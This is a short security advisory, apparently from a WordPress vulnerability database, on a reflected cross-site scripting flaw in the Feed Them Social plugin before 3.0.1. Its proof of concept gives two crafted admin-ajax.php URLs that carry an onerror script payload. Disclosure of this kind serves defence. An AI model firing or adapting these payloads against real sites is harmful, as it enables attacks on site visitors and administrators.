WordPress Plugin Vulnerabilities
Feed Them Social < 3.0.1 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting
Proof of Concept
Both can be used against authenticated and unauthenticated users https://example.com/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&access_token=<img src onerror=alert(/XSS/)> https://example.com/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&feed=instagram&expires_in=<img src onerror=alert(/XSS/)>
Affects Plugins
Fixed in version 3.0.1
References
Classification
Miscellaneous
Timeline
Publicly Published
2022-07-26 (about 4 months ago)
Added
2022-07-26 (about 4 months ago)
Last Updated
2022-08-25 (about 3 months ago)